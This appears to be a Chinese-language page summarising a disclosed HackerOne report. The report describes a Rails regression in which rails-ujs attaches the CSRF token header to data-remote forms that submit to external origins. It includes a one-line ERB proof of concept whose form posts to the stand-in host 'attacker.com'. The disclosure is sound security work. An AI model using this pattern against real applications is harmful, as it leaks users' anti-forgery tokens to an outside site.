CSRF header is sent to external websites when using data-remote forms
该报告还没有中文解读。
原文摘录
摘自原文(898 字符中的一小部分)
Looks like there is a regression in the fix for CVE-2015-1840 ([H1 report](https://hackerone.com/reports/49935)). The origin isn't being checked before adding a CSRF header to `data-remote` forms. I noticed this when checking out the new rails-ujs repo.
原文中的代码
<%= form_tag "http://attacker.com", remote: true do %> <button type=submit>submit</button> <% end %>
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Ruby on Rails 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @mastahyeti · 版权归作者与 Ruby on Rails 所有